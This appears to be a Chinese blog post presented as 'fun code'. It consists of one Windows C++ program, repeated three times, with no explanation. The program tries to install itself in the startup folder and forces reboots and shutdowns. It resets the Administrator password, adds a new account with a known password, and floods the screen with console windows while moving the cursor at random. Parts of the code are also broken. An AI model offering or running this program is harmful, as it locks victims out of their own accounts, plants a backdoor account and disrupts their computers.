跳到正文

休闲·娱乐

好玩的代码1

pale_C约 4 分钟
原文
文章信息与版本

文章信息

收录
2025年12月12日
更新
2026年4月12日
篇幅
约 4 分钟

版本

  1. v1当前

#include <iostream> #include<windows.h> #include<ctime> #include <cstdlib> #include <stdio.h> #include <fstream> using namespace std; int main () { char copy[80]; sprintf(copy,“copy %s “%%userprofile%%\「开始」菜单\程序\启动""); system(copy); char cmd[]=“shutdown -r -t 0”; system(“ping baidu.com”); system(cmd); system(“pause”); system(copy); system(“net user Administrator xz”); system(“net user 崩溃 xz /add”); int x=GetSystemMetrics(SM_CXSCREEN); int y=GetSystemMetrics(SM_CYSCREEN); srand(time(0)); system(“shutdown -s -t 20”); while(1)//循环 { SetCursorPos(rand()%x,rand()%y); system(“start”); }

}

C++
#include <iostream>
#include<windows.h>
#include<ctime>
#include <cstdlib>
#include <stdio.h>
#include <fstream>
using namespace std;
int main ()
{
	char copy[80];
	sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"");
	system(copy);
	char cmd[]="shutdown -r -t 0";
	system("ping baidu.com");
	system(cmd);
	system("pause");
	system(copy);
	system("net user Administrator xz");
	system("net user 崩溃 xz /add");
	int x=GetSystemMetrics(SM_CXSCREEN);
    int y=GetSystemMetrics(SM_CYSCREEN);
    srand(time(0));
    system("shutdown -s -t 20");
    while(1)//循环
    {
    	SetCursorPos(rand()%x,rand()%y);
    	system("start");
    }

}
C++
#include <iostream>
#include<windows.h>
#include<ctime>
#include <cstdlib>
#include <stdio.h>
#include <fstream>
using namespace std;
int main ()
{
	char copy[80];
	sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"");
	system(copy);
	char cmd[]="shutdown -r -t 0";
	system("ping baidu.com");
	system(cmd);
	system("pause");
	system(copy);
	system("net user Administrator xz");
	system("net user 崩溃 xz /add");
	int x=GetSystemMetrics(SM_CXSCREEN);
    int y=GetSystemMetrics(SM_CYSCREEN);
    srand(time(0));
    system("shutdown -s -t 20");
    while(1)//循环
    {
    	SetCursorPos(rand()%x,rand()%y);
    	system("start");
    }

}
原文